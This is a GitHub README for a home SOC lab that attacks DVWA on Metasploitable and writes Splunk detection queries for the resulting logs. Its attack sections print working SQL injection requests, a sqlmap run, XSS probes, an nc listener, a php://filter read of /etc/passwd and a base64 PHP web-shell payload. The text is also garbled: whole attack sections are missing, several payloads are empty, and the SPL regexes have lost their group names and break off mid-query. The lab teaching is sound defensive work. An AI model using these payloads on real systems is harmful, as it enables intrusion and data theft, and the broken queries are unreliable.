Aaryan2811232/Web-Attack-Log-Analysis
GitHub: Aaryan2811232/Web-Attack-Log-Analysis
一个Web攻击模拟与检测实验室，通过在隔离环境中复现六类常见Web攻击并编写Splunk检测规则，帮助安全分析师掌握SOC级别的日志分析与事件分流技能。
Stars: 0 | Forks: 0
# 🛡️ Module A — Web Attack Simulation
[](https://www.kali.org/)
[](https://www.splunk.com/)
[]()
[](https://attack.mitre.org/)
[]()
## Table of Contents
| # | Section |
|---|---------|
| 1 | [Executive Summary](#1-executive-summary--module-a-web-attack-simulation) |
| 2 | [Lab Architecture](#2-lab-architecture) |
| 3 | [Tools & Technologies](#3-tools--technologies) |
| 4 | [Lab Setup](#4-lab-setup--step-by-step) |
| 5 | [Module A — Web Attack Simulation](#5-module-a--web-attack-simulation) |
| 6 | [Splunk Detection Query Library](#6-splunk-detection-query-library) |
| 7 | [Alerting & Dashboard](#7-alerting--dashboard) |
| 8 | [MITRE ATT&CK Mapping](#8-mitre-attck-mapping) |
| 9 | [Incident Triage Walkthroughs](#9-incident-triage-walkthroughs) |
| 13 | [References](#13-references) |
## 1. Executive Summary — Module A: Web Attack Simulation
### 1.1 Project Overview
This project was designed to build and demonstrate the practical skills expected of a Tier 1. It is structured around three-machine isolated home lab.
**Module A — Web Attack Simulation** executes six common web-layer attacks against DVWA running on Metasploitable 2: SQL injection, cross-site scripting, local file inclusion, brute force login, directory enumeration, and Base64-encoded payload delivery. Apache access logs are forwarded in real time to Splunk on Kali Linux for detection and analysis.
### 1.2 Project Objectives
1. Simulate real-world attacks in a fully isolated lab against systems the author owns and controls
2. Generate realistic log data representing each attack type
3. Write Splunk SPL detection queries that fire on that log data
4. Map all simulated techniques to the MITRE ATT&CK framework
5. Document the investigation process at a standard that mirrors real SOC runbook quality
6. Produce a professional GitHub portfolio demonstrating practical SOC analyst capability
### 1.3 Summary of Results
| Metric | Result |
|---|---|
| Attack types simulated | 6 (SQLi, XSS, LFI, Brute Force, Dir Enum, Base64) |
| Splunk SPL detection queries | 8 queries (D-01 to D-08) |
| Splunk scheduled alerts | 4 alerts |
| MITRE ATT&CK techniques covered | 7 techniques across 5 tactics |
| Average detection latency | < 90 seconds for threshold-based alerts |
### 1.4 Skills Demonstrated
[x] Web attack pattern recognition in Apache access logs
[x] Splunk SPL query writing for detection engineering
[x] MITRE ATT&CK framework alignment
[x] Incident triage and investigation workflow
[x] Alert configuration and scheduling in Splunk
[x] SOC dashboard design
[x] Technical documentation at runbook standard
[x] Network log correlation
### 1.5 Role Relevance
Every section maps directly to skills tested in SOC analyst interviews and used in daily work:
- **Web attack patterns** — recognizing SQLi, XSS, and LFI in logs is a day-one L1 analyst requirement
- **Splunk SPL** — Splunk is the dominant enterprise SIEM; writing SPL is the core analyst task
- **Incident triage** — documented walkthroughs show the analyst thought process, not just tool commands
- **MITRE mapping** — all modern SOC operations use ATT&CK for categorization, reporting, and coverage tracking
## 2. Lab Architecture
### 2.1 Machine Overview
| Role | Machine | IP Address | Key Software |
|---|---|---|---|
| Attacker + SIEM | Kali Linux 2026.3 | 192.168.1.3 | Splunk Enterprise, Metasploit, sqlmap, Hydra, Gobuster, Burp Suite |
| Web Target | Metasploitable 2 | 192.168.1.4 | Apache 2.2.8, DVWA, MySQL, PHP |
### 2.2 Network Topology
[ METASPLOITABLE ] (Linux Victim Server)
IP: 192.168.1.4 | Serves: Vulnerable Web Apps
│
│ (Attacks Web Layer)
▼
┌───────────────────────┐ ┌────────────────────────┐
│ KALI LINUX │ │ WINDOWS 11 │
│ (Attacker & SIEM) │◄───────────────────┤ (Endpoint Target) │
│ │ (Ships Event Logs)│ │
│ IP: 192.168.1.3 │ via TCP 9997 │ IP: 192.168.1.12 │
│ Runs: Metasploit/Burp │ │ Runs: Splunk Forwarder │
│ Runs: Splunk Core │ │ Logs: EID 4624/4625 │
└───────────────────────┘ └────────────────────────┘
▲ │
└──────────────(Attacks Endpoint)────────────┘
(Brute Force / Process Spawning)
### 2.3 Splunk Data Architecture
DATA FLOW
[Apache access.log] ---> [Agentless Syslog Forwarding on .4] ---> [Kali :9997] ---> [Index: web_logs]
[Apache error.log] ---> [Agentless Syslog Forwarding on .4] ---> [Kali :9997] ---> [Index: web_logs]
INDEXES IN SPLUNK (on Kali 192.168.1.3:8000)
web_logs
sourcetypes : sys_log, apache_error
Source : /var/log/apache2/ on Metasploitable
Used for : SQLi, XSS, LFI, Brute Force, Dir Enum, B64 payloads
## 3. Tools & Technologies
### 3.1 Kali Linux — Attacker + SIEM (192.168.1.3)
| Tool | Version | Purpose |
|---|---|---|
| Kali Linux | 2026.3 | Attacker OS + SIEM host |
| Splunk Enterprise | 10.2.1 | Primary SIEM — detection, alerting, dashboards |
| sqlmap | 1.10.6 | Automated SQL injection |
| Hydra | 9.7 | Network login brute force |
| Gobuster | 3.8.2 | Directory enumeration |
| wfuzz | 3.1.0 | Web parameter fuzzing |
| Nikto | 2.1.6 | Web server vulnerability scanner |
| CrackMapExec | 5.4.0 | SMB brute force and Windows enumeration |
| Impacket | 0.11.0 | PsExec lateral movement simulation |
| netcat | 1.10 | Listener for reverse connections |
| Wireshark | 4.6.6 | Packet capture during attacks |
### 3.2 Metasploitable 2 — Web Target (192.168.1.4)
| Software | Purpose |
|---|---|
| Ubuntu 8.04 (base OS) | Deliberately vulnerable Linux |
| Apache 2.2 | Web server — generates access logs |
| DVWA (PHP) | Damn Vulnerable Web App — SQLi, XSS, LFI, Brute Force targets |
| MySQL 5.0.5 | Backend database for injection attacks |
| Agentless Syslog Forwarding | Ships Apache logs to Splunk on Kali |
## 4. Lab Setup — Step by Step
### 4.1 VirtualBox Network Configuration
Step 1: Open VirtualBox -> File -> Tools -> Network Manager
Step 2: Create Host-Only network
IPv4 Address : 192.168.1.1
Subnet Mask : 255.255.255.0
DHCP Server : Disabled (static IPs only)
Step 3: Assign each VM
VM Settings -> Network -> Adapter 1 -> Bridge Adapter
Select the network created above
Step 4: Kali also needs internet for downloads
VM Settings -> Network -> Adapter 2 -> NAT
(Disable NAT before running attacks)
**Static IP — Kali Linux**
# Edit network config
sudo nano /etc/network/interfaces
# Add:
auto eth0
iface eth0 inet static
address 192.168.1.3
netmask 255.255.255.0
# Apply
sudo systemctl restart networking
ip addr show eth0
**Verify Connectivity**
# From Kali — test all machines
ping 192.168.1.4 # Metasploitable — should reply
# Verify DVWA is reachable
curl -I http://192.168.1.4/dvwa/
# Expected: HTTP/1.1 302 Found (redirect to login)
### 4.2 Splunk Enterprise — Install on Kali
# Download Splunk Enterprise free trial from splunk.com
# Register at: https://www.splunk.com/en_us/download/splunk-enterprise.html
# Choose: Linux .deb package
wget -O splunk.deb 'https://download.splunk.com/products/splunk/releases/9.2.1/linux/splunk-9.2.1-Linux-x86_64.deb'
sudo dpkg -i splunk.deb
# Start Splunk and accept license
sudo /opt/splunk/bin/splunk start --accept-license
# Set admin credentials when prompted:
# Username: admin
# Password: myPassword123!
# Enable auto-start on boot
sudo /opt/splunk/bin/splunk enable boot-start
# Enable the receiving port (listens for Universal Forwarders)
sudo /opt/splunk/bin/splunk enable listen 9997 -auth admin:myPassword123!
# Verify Splunk is running
sudo /opt/splunk/bin/splunk status
# Open Splunk web UI
# Browse to: http://192.168.1.3:8000
# Login with admin / myPassword123!
**Create Indexes in Splunk UI**
Settings -> Indexes -> New Index (repeat for each below)
Index 1:
Name : web_logs
Max Size : 10 GB
Type : Events
Index 2:
Name : wineventlog
Max Size : 15 GB
Type : Events
### 4.3 Agentless Syslog Forwarding — Metasploitable (Web Target)
# On Metasploitable (192.168.1.4)
# Agentless Syslog Forwarding over UDP
nano /etc/syslog.conf
# Scroll to the very bottom of the file and add a single line directing all system logs (*.*) to send via UDP to my Kali Linux IP address on standard syslog port 514
*.* @192.168.1.3:514
# Save and close the file
# Restart the logging service to apply the updates:
sudo /etc/init.d/sysklogd restart
# Open the Apache configuration file on Metasploitable
sudo nano /etc/apache2/apache2.conf
# Scroll down or add these instructions to redirect the log streams through a pipe (|)
CustomLog "|/usr/bin/logger -t apache_access -p local7.info" combined
ErrorLog "|/usr/bin/logger -t apache_error -p local7.info"
# Restart the Apache service
sudo /etc/init.d/apache2 restart
# Run this on Metasploitable to clear the old line and spin up a highly structured version of background forwarding pipe:
sudo killall tail
# Start the optimized pipe stamping every line clearly with the apache_access tag
sudo nohup tail -f /var/log/apache2/access.log | logger -t apache_access -p local7.info &
# Open Splunk Web UI on Kali Linux
Settings -> Data Inputs -> UDP and click + Add New -> in port field 514
# Next in input setting page set proper indexing
Source type: sys_log
App Context: search
Index: main
# And then submit
### 4.4 DVWA Setup on Metasploitable
# SSH to Metasploitable
ssh msfadmin@192.168.1.4
# DVWA is pre-installed on Metasploitable 2
# Verify it's accessible
curl -I http://localhost/dvwa/
# If Apache isn't running:
sudo service apache2 start
sudo service mysql start
# Access DVWA from Kali browser:
# http://192.168.1.4/dvwa/setup.php
# Click: Create / Reset Database
# Login: admin / password
# IMPORTANT: Set DVWA security to LOW for all tests
# DVWA Security tab -> Submit -> select Low
## 5. Module A — Web Attack Simulation
### 5.1 Pre-Attack Checklist
Before each attack run:
# On Kali — confirm connectivity
ping -c 2 192.168.1.4
curl -s -o /dev/null -w "%{http_code}" http://192.168.1.4/dvwa/
# Start Wireshark capture (optional but good evidence)
sudo wireshark -i eth0 -k -f "host 192.168.1.4" &
# Monitor Apache log live on Metasploitable (second terminal)
ssh msfadmin@192.168.1.4 "sudo tail -f /var/log/apache2/access.log"
# Start Splunk search (live monitor during attack)
# In Splunk UI: index=web_logs | tail 20 (refresh every 30s)
### 5.2 Attack 1 — SQL Injection
**Objective:** Inject SQL into web parameters to extract data from the MySQL database.
**MITRE:** T1190 — Exploit Public-Facing Application
**Target:** `http://192.168.1.4/dvwa/vulnerabilities/sqli/`
#### Attack Execution
# ---- Step 1: Manual SQL injection test ----
# Single quote test — confirms vulnerability if MySQL error appears
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit#" -vv
# ---- Step 2: Boolean-based testing ----
# TRUE condition — returns normal page
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1+AND+1=1--&Submit=Submit#" -vv
# FALSE condition — returns empty/different page (confirms blind SQLi)
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1+AND+1=2--&Submit=Submit#" -vv
# ---- Step 3: UNION-based column count ----
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1+ORDER+BY+2--&Submit=Submit#" -vv
# 200 OK = 2 columns or more
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1+ORDER+BY+3--&Submit=Submit#" -vv
# 500 error = only 2 columns confirmed
# ---- Step 4: UNION data extraction ----
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1+UNION+SELECT+null,database()--&Submit=Submit#" -vv
# Reveals: dvwa
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1+UNION+SELECT+null,group_concat(table_name)+FROM+information_schema.tables+WHERE+table_schema=database()--&Submit=Submit#" -vv
# ---- Step 5: Automate with sqlmap ----
sqlmap \
-u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=73c02d0243eef087f397950543f56e9e; security=low" \
--level=3 \
--risk=2 \
--dbs \
--batch \
--random-agent \
-o \
--output-dir=/home/cyberzi/Desktop
#### Apache Log Evidence on Splunk
Jul 2 12:45:35 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:03:15:34 -0400] "GET /dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit HTTP/1.1" 200 161 "-" "curl/8.20.0"
Jul 2 12:50:15 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:03:20:15 -0400] "GET /dvwa/vulnerabilities/sqli/?id=1+AND+1=1--&Submit=Submit HTTP/1.1" 200 4398 "-" "curl/8.20.0
Jul 2 12:54:01 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:03:24:00 -0400] "GET /dvwa/vulnerabilities/sqli/?id=1+AND+1=2--&Submit=Submit HTTP/1.1" 200 4398 "-" "curl/8.20.0
Jul 2 13:07:21 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:03:37:20 -0400] "GET /dvwa/vulnerabilities/sqli/?id=1+ORDER+BY+2--&Submit=Submit HTTP/1.1" 200 4401 "-" "curl/8.20.0
Jul 2 13:08:07 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:03:38:07 -0400] "GET /dvwa/vulnerabilities/sqli/?id=1+ORDER+BY+3--&Submit=Submit HTTP/1.1" 200 4401 "-" "curl/8.20.0
Jul 2 13:09:02 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:03:39:02 -0400] "GET /dvwa/vulnerabilities/sqli/?id=1+UNION+SELECT+null,database()--&Submit=Submit HTTP/1.1" 200 4419 "-" "curl/8.20.0"
Jul 2 13:12:00 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:03:42:00 -0400] "GET /dvwa/vulnerabilities/sqli/?id=1+UNION+SELECT+null,group_concat(table_name)+FROM+information_schema.tables+WHERE+table_schema=database()--&Submit=Submit HTTP/1.1" 200 4494 "-" "curl/8.20.0
# sqlmap attack log
Jul 2 13:37:27 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:04:07:27 -0400] "GET /dvwa/vulnerabilities/sqli/?id=%28SELECT%20CONCAT%28CONCAT%280x7170786b71%2C%28CASE%20WHEN%20%282016%3D2016%29%20THEN%200x31%20ELSE%200x30%20END%29%29%2C0x7162716b71%29%29&Submit=Submit HTTP/1.1" 200 4333 "http://192.168.1.4/dvwa/vulnerabilities/sqli/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36"
Jul 2 13:37:27 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:04:07:27 -0400] "GET /dvwa/vulnerabilities/sqli/?id=1%27%20AND%20EXTRACTVALUE%285675%2CCONCAT%280x5c%2C0x7170786b71%2C%28SELECT%20%28ELT%285675%3D5675%2C1%29%29%29%2C0x7162716b71%29%29--%20kuNV&Submit=Submit HTTP/1.1" 200 52 "http://192.168.1.4/dvwa/vulnerabilities/sqli/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36"
Jul 2 13:37:28 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:04:07:27 -0400] "GET /dvwa/vulnerabilities/sqli/?id=1%27%20OR%20EXTRACTVALUE%283111%2CCONCAT%280x5c%2C0x7170786b71%2C%28SELECT%20%28ELT%283111%3D3111%2C1%29%29%29%2C0x7162716b71%29%29--%20WLWv&Submit=Submit HTTP/1.1" 200 52 "http://192.168.1.4/dvwa/vulnerabilities/sqli/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36"
#### IOC Summary
| Indicator | Description |
|---|---|
| `UNION+SELECT`, `ORDER+BY`, `AND+1=1` in URI | SQL keywords in parameters |
| Response size variation (4921 vs 4756 bytes) | Boolean-based injection confirmed |
| HTTP 500 on ORDER BY 3 | Column count enumeration |
| `sqlmap/1.10.6` User-Agent | Automated attack tool signature |
| 15-30 requests/second from single IP | Automated tool velocity |
### 5.3 Attack 2 — Cross-Site Scripting (XSS)
**Objective:** Inject JavaScript into reflective input fields; demonstrate cookie theft potential.
**MITRE:** T1059.007 — JavaScript
**Target:** `http://192.168.1.4/dvwa/vulnerabilities/xss_r/`
#### Attack Execution
# ---- Step 1: Basic reflected XSS ----
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " \
"http://192.168.1.4/dvwa/vulnerabilities/xss_r/?name=&Submit=Submit" -vv
# ---- Step 2: Cookie theft simulation ----
# Set up listener on Kali first
nc -lvnp 8000 &
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " \
"http://192.168.1.4/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&Submit=Submit" -vv
# ---- Step 3: URL-encoded variant (evasion attempt) ----
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " \
"http://192.168.1.4/dvwa/vulnerabilities/xss_r/?name=%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E&Submit=Submit" -vv
# ---- Step 4: Double-encoded variant ----
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " \
"http://192.168.1.4/dvwa/vulnerabilities/xss_r/?name=&Submit=Submit" -vv
# ---- Step 5: onerror attribute (tag-less XSS) ----
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " \
"http://192.168.1.4/dvwa/vulnerabilities/xss_r/?name=&Submit=Submit" -vv
#### Apache Log Evidence on Splunk
Jul 2 23:38:59 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:10:06:17 -0400] "GET /dvwa/vulnerabilities/xss_r/?name=&Submit=Submit HTTP/1.1" 302 - "-" "curl/8.20.0"
Jul 2 23:53:57 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:23:53:51 -0400] "GET /dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&Submit=Submit HTTP/1.1" 302 - "-" "curl/8.20.0"
Jul 2 23:54:29 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:23:54:23 -0400] "GET /dvwa/vulnerabilities/xss_r/?name=%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E&Submit=Submit HTTP/1.1" 302 - "-" "curl/8.20.0"
Jul 2 23:56:51 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:23:56:46 -0400] "GET /dvwa/vulnerabilities/xss_r/?name=&Submit=Submit HTTP/1.1" 302 - "-" "curl/8.20.0"
Jul 2 23:56:51 192.168.1.4 apache_access: 192.168.1.3 - - [02/Jul/2026:23:56:46 -0400] "GET /dvwa/vulnerabilities/xss_r/?name=&Submit=Submit HTTP/1.1" 302 - "-" "curl/8.20.0"
#### IOC Summary
| Indicator | Description |
|---|---|
| `' | base64
# Output: PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+
# ---- Step 2: Deliver encoded payload in parameter ----
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " "http://192.168.1.4/dvwa/vulnerabilities/xss_r/?name=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+&Submit=Submit" -vv
# ---- Step 3: PHP base64_decode wrapper (file inclusion) ----
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " "http://192.168.1.4/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/etc/passwd" -vv
# Returns /etc/passwd content as base64 — decode with:
# echo "BASE64_OUTPUT" | base64 -d
# ---- Step 4: Data URI base64 scheme ----
curl -b PHPSESSID="73c02d0243eef087f397950543f56e9e; security="low" " "http://192.168.1.4/dvwa/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+"
# ---- Step 5: Decode intercepted payload (CyberChef or CLI) ----
echo "PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+" | base64 -d
# Output:
echo "PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+" | base64 -d
# Output:
#### Apache Log Evidence on Splunk
Jul 3 03:47:06 192.168.1.4 apache_access: 192.168.1.3 - - [03/Jul/2026:03:47:01 -0400] "GET /dvwa/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ HTTP/1.1" 200 5025 "-" "curl/8.20.0"
Jul 3 03:47:50 192.168.1.4 apache_access: 192.168.1.3 - - [03/Jul/2026:03:47:44 -0400] "GET /dvwa/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ HTTP/1.1" 200 5025 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
Jul 3 03:48:04 192.168.1.4 apache_access: 192.168.1.3 - - [03/Jul/2026:03:47:58 -0400] "GET /dvwa/security.php HTTP/1.1" 200 4104 "http://192.168.1.4/dvwa/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
## 6. Splunk Detection Query Library
### 7.1 Web Detection Queries
**Query D-01 — SQL Injection Detection**
Detects SQLi payloads in URI parameters including URL-encoded and boolean-based variants.
index=web_logs sourcetype="sys_log"
| rex field=_raw "apache_access:\s+(?P[^\s-]+)"
| rex field=_raw "\"(?:GET|POST)\s(?P\S+)\sHTTP"
| rex field=_raw "\" HTTP\/\d\.\d\"\s+(?P\d{3})"
| eval decoded_uri = urldecode(full_uri)
| rex field=decoded_uri "(?i)(?P(union[\s\+]+select|select[\s\+]+.*from|insert[\s\+]+into|drop[\s\+]+table|exec[\s\+]*\(|xp_cmdshell|1\s*=\s*1|or\s+1\s*=\s*1|--\s|\/\*.*\*\/|sleep\s*\(|waitfor\s+delay|benchmark\s*\(|order\s+by\s+\d|and\s+\d+=\d+))"
| where isnotnull(sqli_hit)
| eval encoding = if(match(full_uri,"(?i)(%27|%22|%3d|%20|%2b|%2520)"),"URL-Encoded","Plaintext")
| stats
count as total_attempts,
values(sqli_hit) as validation_patterns,
values(encoding) as encoding_types,
values(status) as http_status_codes,
min(_time) as first_seen,
max(_time) as last_seen
by src_ip
| eval duration_sec = last_seen - first_seen
| eval req_per_sec = round(total_attempts / max((duration_sec + 1), 1), 2)
| eval risk = case(
total_attempts > 100, "HIGH",
total_attempts > 20, "MEDIUM",
true(), "LOW"
)
| sort -total_attempts
| table src_ip, total_attempts, validation_patterns, encoding_types, http_status_codes, req_per_sec, risk
**What to look for in results:**
- `patterns_found` shows which SQL keywords appeared
- `encoding_types` shows if attacker tried URL-encoding (evasion)
- `req_per_sec` above 5 confirms automated tool
- `http_status_codes` mixing 200 and 500 confirms probing behavior
**Query D-02 — XSS Detection (Multi-Encoding)**
Detects cross-site scripting payloads including raw, single-encoded, and double-encoded variants.
index=web_logs sourcetype="sys_log"
| rex field=_raw "apache_access:\s+(?P[^\s-]+)"
| rex field=_raw "\"(?:GET|POST)\s(?P\S+)\sHTTP"
| rex field=_raw "\" HTTP\/\d\.\d\"\s+(?P\d{3})"
| eval decoded_uri = urldecode(full_uri)
| rex field=decoded_uri "(?i)(?P(